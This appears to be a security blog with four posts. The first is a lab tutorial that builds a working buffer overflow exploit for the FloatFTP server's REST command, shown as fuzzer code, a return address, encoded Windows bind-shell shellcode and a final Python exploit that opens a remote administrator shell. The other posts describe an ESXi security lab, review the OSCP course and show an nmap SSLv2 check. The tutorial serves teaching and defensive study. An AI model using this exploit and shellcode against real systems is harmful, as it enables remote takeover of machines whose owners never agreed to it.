Understanding Buffer Overflow Exploits

The first time that I had to work with a buffer overflow exploit, I was completely out of my depth. Although I could build networks and configure firewalls, proxies, and intrusion detection systems without breaking a sweat, exploit coding was a whole new world to me. However, as with any complex or difficult concept, breaking it down into manageable pieces proved to be an effective strategy.

After conducting research and following tutorials, the concepts and tools started to become less confusing and the details began to stick. I then started looking for simple buffer overflow vulnerabilities in known applications that I could recreate in my lab. It is in a working lab that concepts begin to click and the process - in its individual parts as well as a whole - becomes visible.

This tutorial will provide defenders with a basic idea of the attackers' exploit development process, the level of effort required, and the challenges that attackers face when writing malicious code to target specific vulnerabilities.

Today's attackers are determined and skilled and an understanding of how they operate is key for anyone tasked with defending computers and networks. The more understanding the defender has of the enemies motives and techniques the easier it is to formulate effective countermeasures.

I will go through several phases of exploit development and arrive at a working exploit. First, we will fuzz our target application to make it crash in interesting ways, monitor the crashes with Immunity debugger, and find a vulnerable location in Windows memory to target with our shellcode. We will then create an exploit to deliver the shellcode and compromise the remote system.

Required Software / Setup

Attacking system: Backtrack Linux (I used R3)
Development / Victim system: Windows XP SP3 English
Immunity debugger - Installed on Windows XP system
FloatFTP - The application we are going to exploit - (Ignore the existing exploit on this page for now and click the "vulnerable app" button to download. Extract the file to a folder on the desktop of the XP system.)

Let's get started.

Fuzzing

"Fuzzing" is a software testing practice in which malformed, excessive and random data is send to a computer program in attempts to make it crash or behave in unintended ways. Fuzzing is used test security of programs and systems.

Double click the float FTP executable to start the application:



Verify that it's running and listening on port 21 by opening a cmd prompt and typing:

       
netstat -an | find "21"
       

Start Immunity debugger and click "file", then "attach." Select the FTPServer process and click "attach."

Once the application loads up in the debugger, it will be in a paused state. Press F9 or click the play symbol on the Immunity tool bar to let the application run. The target application is now being monitored by the debugger.

We will now begin the process of configuring our FTP fuzzer, first fuzzing the application to make it crash and then capturing and analyzing the crash data with the debugger.

The code posted below is a simple fuzzer for FTP written in the Python scripting language. When executed, the fuzzer will send the standard FTP command "REST" with increasing amounts of "A"s appended to each command.

#!/usr/bin/python
import socket

# Create an array of buffers, from 20 to 2000, with increments of 20.
buffer=["A"]
counter=20
while len(buffer) <= 30:
        buffer.append("A"*counter)
        counter=counter+100

# Define the FTP commands to be fuzzed
commands=["REST"]

# Run the fuzzing loop
for command in commands:
        for string in buffer:
                print "Fuzzing" + command + " with length:" +str(len(string))
                s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                connect=s.connect(('10.10.10.32',21)) # Target IP address
                s.recv(1024)
                s.send('USER ftp\r\n') # login user
                s.recv(1024)
                s.send('PASS ftp\r\n') # login password
                s.recv(1024)
                s.send(command + ' ' + string + '\r\n') # buffer
                s.recv(1024)
                s.send('QUIT\r\n')
                s.close()  

We can see from the example exploit (http://www.exploit-db.com/exploits/17546/) that the FTP server REST command is vulnerable to a buffer overflow. The FTP function REST will be the target of the fuzzer.

Create a folder on the desktop of the attacking system to store the fuzzing and exploit code. "cd" to this directory and run "nano fuzzer.py". This will open the nano text editor on a blank page. Copy and paste the code above into the file.

Modify the target IP address with the IP address of the system where the FloatFTP process is running. Press ctrl+o to save the file and ctrl+x to exit nano. Next, make the file executable by typing:

       
chmod 755 fuzzer.py
       

Execute "./fuzzer.py". After a few seconds you should see the fuzzer stop indicating that the target application has crashed.

When you look at the debugger on the XP system, you will see that Immunity has captured the crash data and paused the application. If you look at the EIP (Extended Instruction Pointer) register, you will see that the 41s from the fuzzer's buffer have overwritten the register and have also spilled into the ESP (Extended Stack Pointer) register (00AEFC2C). Our first object is to gain control of the EIP register, which controls which code is executed by the CPU, setting it to a value of our choosing.

Exploit Development

Create a new file with nano and enter the code below. This will be the beginning of our exploit. Save the file as skeleton.py and make it executable (chmod 755 skeleton.py).

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 1000

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

Run ./skeleton.py in the Linux terminal on the attacking system.

Now when you examine the EIP register in Immunity you will see that the buffer code has overwritten the register with 41414141 and well as spilled into the ESP register.

The next step is to determine exactly how much space we have to insert code. Up until now, we have used a fixed set of repeating characters to determine our target memory address. We will now use the Metasploit pattern_create and pattern_offset tools to help us discover exactly how much space we have and what specific memory addresses to target. First, generate a non-repeating string with 1000 characters.

cd to /opt/metasploit/msf3/tools and run:

       
./pattern_create.rb 1000 
     

Create a 1000 character string which will replace the previous 1000 character "A" buffer in the skeleton exploit.

Comment out the previous buffer in the exploit and create a new buffer line as below. Enclose the new buffer in double quotes.

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = '\x41' * 1000
buffer = "Paste pattern_create buffer here"

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close() 

Restart the FTP server in Immunity debugger (click debug, then restart or press Ctrl+F2) and launch the skeleton exploit against the FTP server. It should crash as it did previously, but will now have the Metasploit created pattern in its EIP and ESP buffers. Copy these values down; we will use them to calculate the byte difference between the EIP and ESP registers.

In my case, the EIP and ESP values are:

EIP: 69413269
ESP: 00AEFC2C (69413669)

Next, run:

       
./pattern_offset.rb 69413269
       

Followed by:

       
./pattern_offset.rb 69413669
       

The output tells us that after 247 bytes the EIP register begins to get overwritten with the buffer. This means that bytes 248-251 are EIP and the exact bytes we want to target.

The CPU knows which instruction to run next by looking at the value of the EIP register and executing the instruction present at that memory address. Placing a  JMP ESP instruction at the EIP memory location will cause the CPU to execute that instruction and "jump" to the ESP register to execute whatever resides in memory at that address. Our next objective is to place a JMP ESP instruction in EIP which will enable us to control the execution flow and divert it to our code in the ESP register.

There are 12 bytes between the two registers, so we will pad our buffer with 8 bytes to bridge the gap and line up the ESP register.

We adjust the buffer in our skeleton exploit staying within our 1000 byte boundary:

       
buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741
        

eg: [buffer]<>[eip data]<>[padding]<>[shellcode placeholder]

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000
#buffer = "pattern_create buffer"
buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741 

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

Restart the FTP server in Immunity and press the play button to un-pause the application.

Run the exploit again, then right click ESP in the Registers pane of Immunity and select "follow in dump." If everything has lined up correctly, the EIP register will contain 42424242 and the Ds (x44) will begin at the ESP memory address directly preceded by the 8 Cs which pad the distance from EIP to ESP.

Excellent. In Immunity, copy the ESP memory address from where the Ds begin to where they end. Then open Windows calculator and switch to hexadecimal mode and convert each value to decimal.

In my case, this is:

Begins: 00AEFC2C = 11467820
Ends: 00AEFF0C = 11468556

Subtract the first value from the second 11468556 - 11467820 = 736. This tells us we have 736 bytes for our shellcode.

Now that we have our target memory addresses and instructions, we need a way to get our instructions from the EIP register to the ESP register. To do this we can use an existing JMP ESP instruction in a Windows operating system DLL.

To find a JMP ESP instruction in an existing Windows DLL - click "e" on the Immunity toolbar, then double click a DLL, right click search, select "command" and type "JMP ESP".

We find the instruction we are looking for in the Windows kernel32.dll system file and make note of the memory address of JMP ESP. In my case, this is 7C86467B. Note that this instruction will reside in a different location if you are using anything other than 32bit Windows XP English SP3. If you are, find a JMP ESP instruction in another DLL and substitute the memory address in the rest of the tutorial.

Let's update our skeleton exploit with a new buffer. Comment out the last buffer statement and replace it with the code below.

       
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
       

Because of little endian CPU architecture, the JMP ESP address must be formatted backwards in the buffer, so 7C86467B becomes "\x7B\x46\x86\x7C". We will also add 8 Bs as padding ("\x43"*8) and change the last value to \xCC*741 (742 CC's) which will act as a place holder for our shellcode. All going well, the CCs should begin at the ESP memory address we are targeting, 00AEFC2C, and we should find our JMP ESP instruction (7C86467B) in the EIP register.

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = x41 * 1000
#buffer = "pattern_create buffer"
#buffer = "\x41"*247 + "\x44\x44\x44\x44" + "\x43"*8 + "\x44"*741 

# Windows XP SP3 kernel32.dll  JMP ESP

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

Restart FTPserver.exe in Immunity by clicking "debug" then "restart". Don't forget to press F9 or to click the play button in the debugger to un-pause the application.

Click the arrow pointing to the three dots on the Immunity toolbar, enter JMP ESP memory location: 7C86467B (in this example), click "Ok" then press F2 to set a breakpoint in the debugger. When the JMP ESP address is accessed, the debugger will pause execution enabling us to review the registers and verify that we have targeted EIP and ESP correctly.

Run the exploit again and review the output in the debugger. It should look similar to this:

Excellent. EIP contains our JMP ESP target address (7C86467B) and our CCs begin on ESP (00AEFC2C). Now that we control execution flow, all that remains is replacing our placeholder CCs with shellcode.

Shellcode and exploit

We will use Metasploit msfpayload to create the shellcode payload. One thing to note: Since we are passing all this as a “string” we must abide by the character limitations of the FTP protocol. This means no null, return, newline, or @ characters. In hex they are represented by \x00, \x0d, \x0a, 0x40. Other characters which could prevent the shellcode from executing are "\x40\xff\\x3d\x20"

The msfpayload command below will create shellcode that when executed on the target system will open a port listening on TCP 999. The msfencode statement ensures there are no bad characters in the shellcode which could prevent it from executing.

       
msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D\xff\x0d\x3d\x20'
       

This results in a 368 byte payload:

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

buf = 
"\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9" +
"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5" +
"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08" +
"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0" +
"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11" +
"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc" +
"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a" +
"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93" +
"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c" +
"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc" +
"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4" +
"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c" +
"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34" +
"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08" +
"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88" +
"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b" +
"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37" +
"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50" +
"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63" +
"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72" +
"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f" +
"\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb" +
"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3" +
"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08" +
"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f" +
"\x0e\x3a\x93\x35"

Comment out the previous buffer statement and add the new modified statement:

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC"*373

After having some issues with the shellcode running and double checking all parameters including "bad characters", I decide to add NOPs to the buffer just before the shellcode. In computer CPUs, a NOP slide is a sequence of NOP (no-operation) instructions (opcode 0x90) meant to "slide" the CPU's instruction execution flow to its final destination. NOPs often help when everything appears to line up correctly in an exploit but execution of the shellcode is failing.

I once again modify the buffer now adding 16 NOPs just before the shellcode:

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357 

eg: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]

And the final complete exploit:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

#buffer = '\x41' * 1000
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
#buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741

## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D' 368 bytes

shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"
"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"
"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"
"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0"
"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11"
"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"
"\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"
"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"
"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"
"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"
"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4"
"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"
"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"
"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"
"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"
"\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b"
"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"
"\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50"
"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"
"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"
"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"
"\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb"
"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3"
"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"
"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f"
"\x0e\x3a\x93\x35")

## Windows XP SP3 kernel32.dll 7C86467B JMP ESP
#buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357

print "\nSending evil buffer..."
s.connect(('10.10.10.32',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
s.send('REST' +buffer+'\r\n')
s.close() 

Close the debugger on the XP system and restart FloatFTP. Launch the exploit from the attacking system, then telnet to port 999 on the FTP server. All going well, you should receive a shell running as administrator (or as whoever started the FloatFTP process).

As you can see the system is now compromised and under the control of the attacker.

ESXi Security Lab

Late last year, I set about building a new virtualization platform to serve as my security lab. Since the advent of Microsoft Hyper-V and VMware ESXi, I had been eager to start using a pure hypervisor solution rather than just VMware server and workstation.

I started my research on VMware ESXi and soon had it running nested within VMware workstation so I could get a sense of how to install and configure the basics. Reading blogs and forums (HardOCP's virtualized computing forum was especially helpful), helped me assemble a list of parts that would make up my ESXi security lab. I had a few requirements, but the most important one was stability. I had read reports of problems with non-compatible hardware and I wanted to ensure that my time would be spent productively working on my virtual machines rather than fighting with ESXi.

After assembling the system hardware and testing basic functionality, it was time to install ESXi. This took no more than 15 minutes. It was incredibly simple. It involved booting from the ISO and pointing the installer to the USB drive for the OS, and then let setup take care of the rest. ESXi was up and running and I was logging into virtual center about 20 minutes after I had started the installation. I initially installed ESXi 4.x, but soon upgraded to ESXi 5. This process was equally straightforward.

The diagram below is a logical representation of the current state of my security lab. Its not 100% technically accurate but provides an overview of the architecture. I created a self-contained, deliberately insecure set of networks populated with vulnerable hosts and systems, while keeping them segregated from my internal "production" systems and home network.

I have three separate host-only networks configured. Each network is assigned to a virtual switch and has a Endian Firewall with two interfaces. The firewalls are precisely configured to allow and deny strategic ports and protocols to pass between the three malnet networks enabling a variety of attack scenarios. The front-end Endian firewall that separates the virtual and physical networks is configured to avoid any contamination from the vulnerable/exploited/infected hosts on the malnet networks.

Each of the malnet networks and the DMZ honeynet are monitored by Snort intrusion detection sensors. I use the excellent open source IDS package, Security Onion, as the lab's core IDS. Security Onion combines open source security packages Snort and OSSEC with the security management consoles squil, Snorby and SQuert to make one great security monitoring Linux distro. ESXi virtual interfaces and switches make it easy to assign IDS monitoring interfaces to any of the virtual networks on the fly.

The malnet networks are populated with some of the deliberately vulnerable OS images available on the internet, such as metasploitable and Kioptix. I am also creating my own set of vulnerable virtual hosts and services which are designed to be exploited in interesting and clever ways. The malnet02 network, for example, contains a poorly configured and largely unpatched Windows 2003 AD domain controller that is running several vulnerable services. Attacking and exploiting hosts like this is a great way to keep your offensive skills sharpened while deepening your understanding of how to defend.

The internet firewall for my home network is a Cisco ASA 5505 with an enterprise security license. This enables me to assign a physical port on the firewall as a DMZ interface. I connected this interface to one of the ethernet interfaces in ESXi and assigned it to a virtual switch. I can now connect any virtual machine to the DMZ switch and with a few clicks can place it in the DMZ honeynet network. The network currently has one host running a honeypot. The ASA is configured to allow inbound traffic on a variety of ports (TCP 21,22,110,1433,3389) to the DMZ from the internet.

For wireless hacking research and practice, I added a WRT54G Linksys wireless router configured as an access point with default Linksys firmware. I can use the ALFA USB card attached to my laptop or I can connect the ALFA attached to the ESXi box to any virtual host and attack the wireless network from a VM.

Here is a screenshot of the ESXi Summary page in Virtual Center:

Hardware:
A complete list of the hardware I used for the ESXi server is listed below.

The hardware I chose was one generation behind when I purchased it last November. The parts I chose are widely in use and generally accepted to be compatible with ESXi. This was the most important factor - building the system with proven hardware components and avoiding any incompatibilities.

CPU:
Intel Xeon X3450 2.67GHz. This CPU is a quad core. With hyper-threading enabled, it provides eight usable logical processors in ESXi. I let ESXi manage the CPU distribution but I can alocate virtual machines to individual logical processors if I need to. I have been impressed with how efficiently ESXi allocates memory and CPU; aside from assigning memory to virtual machines, I let ESXi handle all the resource allocation.

Motherboard:
Supermicro X8SIL. This board and its well proven with ESXi. It has an integrated IPMI interface which enables "lights-out" style management of the system. IPMI is essentially a web interface to control the system via software running on the motherboard. This enables me to power cycle the system or view the local console remotely. I looked at it once and have not had reason to look again.

Memory:
32GB (4 x 8) Kingston ECC registered DDR3.
I spent a lot of time researching memory for the system making absolutely sure it was compatible with ESXi and the Supermicro motherboard. This memory is on the VMware HCL.

Storage:
2 x Seagate Barracuda 1 TB 7200 rpm hard drives. I have always found Seagate drives to be quiet and reliable and these drives are no exception. I have no need for RAID in my lab so I installed both as storage in ESXi. My VMs sit on one, and my ISOs and some backups are on the other. A simple and effective arrangement.

ESXi runs from an 8 GB USB key. The Supermicro has a USB port directly on the motherboard, so it's connected there and hidden away in the case. Its easy to back up my ESXi OS and configuration by simply imaging the USB key.

Networking:
The motherboard has two physical ethernet interfaces (three if you count IPMI) and I added an Intel dual port Gigabit NIC (82546EB) I had from another system for a total of four usable physical interfaces. An ALFA networks wireless adapter is attached to ESXi via USB.

The ESXi adapters hosting the malnet networks are connected to a Cisco SG300 10 port managed switch. I have enabled layer three routing on this device so I can route between VLANs on the switch. The switch can be managed with a web interface or via the command line.

Power Supply:
I used a Cooler Master GX 450W for a power supply as it was reasonably priced and had excellent reviews. It's also whisper quiet, which was another one of my requirements for the system.

Overall, I am very happy with my ESXi lab. A sandbox to run attacks and test defenses is an essential tool for anyone who wants to learn and keep their offensive and defensive security skills sharp.

OSCP - My review

The truism "anything worth having doesn't come easy" is one I have often remembered when on a particularly difficult path to a goal. Never have the words rung quite so true when applied to my quest for the OSCP certification. This phrase, along with several other quotes and snips of wisdom helped to motivate me though the PWB (Penetration Testing with Backtrack) course and final 24 hour exam.

The OSCP certification is an offensive security course which teaches the attacking side of Information Security and is largely aimed at those wanting to become penetration testers. My personal motivation for taking the course and exam were to better understand the methodology, tools and techniques that attackers employ to breach networks and systems. I have been a dabbler with offensive security practices for several years, have read several books on the subject, taken courses and run my own lab of vulnerable systems to practice on. I wanted to consolidate, formalize and measure the basic knowledge I had gained though my own exercises and the PWB course seemed like a perfect way to do this.

Obtaining the OSCP certification requires taking a self-paced course "Penetration testing with Backtrack" and passing a final exam. The course materials consist of a PDF manual, a lab full of vulnerable systems and a set of videos which complement and enhance the exercises in the PDF. The student is expected to review each section of the course and in some cases complete a given exercise and document it at the end of the given module. The course starts off fairly easy with some simple scripting but soon ramps up to scanning, buffer overflows, web application hacking, client side attacks, password attacks etc. Each module in the course is well laid out and presented. The videos are voiced by the Backtrack CIO himself "Mutts" and he does a great job of explaining the material at hand. Some of the videos and modules are worth repeating to really digest the concepts being explained.

The student is expected to follow up the modules with their own research and where necessary seek answers to questions or expand on the topic which may not have been fully understood in the text or video. For example, I went through the buffer overflow section of the course twice and then practiced on some vulnerable applications to really digest and understand the subject. Eventually, after much frustration the concepts clicked and I soon found myself writing some of my own simple buffer overflow exploits. The feeling of accomplishment I got from this was tremendous and underlines the Offensive Security mantra of "Try harder".

Once I started to get comfortable with the exercises and documentation it was time to move on to the lab. The PWB lab is comprised of multiple networks and systems which contain wide range of vulnerable applications and systems spread across several networks. The student connects to the lab via a VPN connection from Backtrack. Once the student starts working in the PWB lab they are expected to document each system they manage to break into, and in the case of root or administrator access retrieve a key from the administrator's desktop as proof of compromise. Some of the systems in the lab are relatively easy to get access to, but many are not and present challenges that would frustrate a trappist monk. I spent many late nights trying harder and battling to gain access to a system, breaking one barrier only to encounter another. Applying "Try harder" often worked in these cases and forced me to think and approach problems in new and novel ways. After extended periods of study and practice I found myself able to slip into a hacker's mindset far more easily.

The PWB lab is really well designed. There are multiple ways of gaining access to many of the systems and some systems lead to other networks. For example, some systems are dual homed and have access to other networks which also contain vulnerable systems. The dual homed systems are great for practicing pivoting and attacking systems and networks though intermediary hosts. This often involves tunneling attacks through hosts you already control to circumvent firewall rules. Many of the vulnerabilities in the lab require you to download, fix and compile exploit code. Often in these cases the devil is in the very minor details and absolute focus and concentration is required to get an exploit to work the way you want it to.

After several months in the lab I managed to break into more than 35 systems. I had root or administrator access on almost all of them. As I had taken a couple of extensions generously paid for by my employer I decided to book the PWB 24 hour challenge and make an attempt at gaining the full certification. The OSCP challenge requires that the student connect to a new network containing hosts they have never seen and to compromise enough of them to gain enough points to pass. The student is given 24 hours to complete the challenge and then a further 24 hours to submit their final report for review.

I took two days off work and told my team to only call me if something was on fire or someone was dead. I started the challenge at 11 AM on Thursday morning. I spent the first couple of hours just getting a lay of the land and planning my attacks. The rest of the day was a blur, I remember my wife bringing me food a couple of times and my dogs wondering why I was still up typing furiously at 4 AM. I had made good progress throughout the day but was stuck needing 10 points to pass and my weary mind was starting to demand sleep. I considered packing it in and taking the exam again at later date when I decided to give it one final push. Sometime around 7 AM on Friday morning I was finally done, I had owned everything with the exception of one box, a box that I had user privileges on and tried so hard to elevate. I probably spent 5 hours on it alone. I stumbled into bed as my wife was getting up for work. I drifted off to sleep with a big smile on my face. I had really done it and it was over. I was both elated and sad as I had grown attached to my late night study and hacking sessions in the lab, listening to the inception soundtrack or just silence save for my typing.

Documenting each system I hacked was probably my least favorite part of the course, but absolutely necessary as part of the process. As I worked my way through the lab systems I took notes, console output and screenshots of each compromise to use later in my final report. If I had the course over again I would have documented each system completely as I rooted them, rather than waiting to near the end to compile all my notes into a cohesive report. This ended up taking me almost a week and another day for my final exam report. Counting my lab exercises my final report was 350 pages.

When I received the official word from Offensive Security that I had passed I was also given access to a discussion forum restricted to those who had also passed the PWB challenge. The forum contains war stories from the labs and solutions to some of the exam systems. I looked up the host that I had tried so hard to elevate from user to admin and found that I was extremely close the whole time, a minor change in one parameter would have done the trick. ;-)

I would highly recommend the PWB course to anyone who is serious about Information Security. More than just a hands on technical challenge, it's also a test of determination and perseverance.

Try Harder!

SSL Server Has SSLv2 Enabled Vulnerability, PCI and IIS

If you are involved with PCI compliance scanning you are probably familiar with the "SSL Server Has SSLv2 Enabled" vulnerability. It's one of those annoying items that always seem to show up on scan reports. Fortunately, there is a simple way to test for this vulnerability and an easy way to fix it.

Using nmap and its script scanning capability you can scan for and detect this vulnerability. An example command is listed below.

nmap -p443 --script=sslv2.nse 10.10.10.10 -vvv

If the server supports SSLv2 nmap will report:

Interesting ports on 10.10.10.10:
PORT    STATE SERVICE
443/tcp open  https
|  sslv2: server still supports SSLv2
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
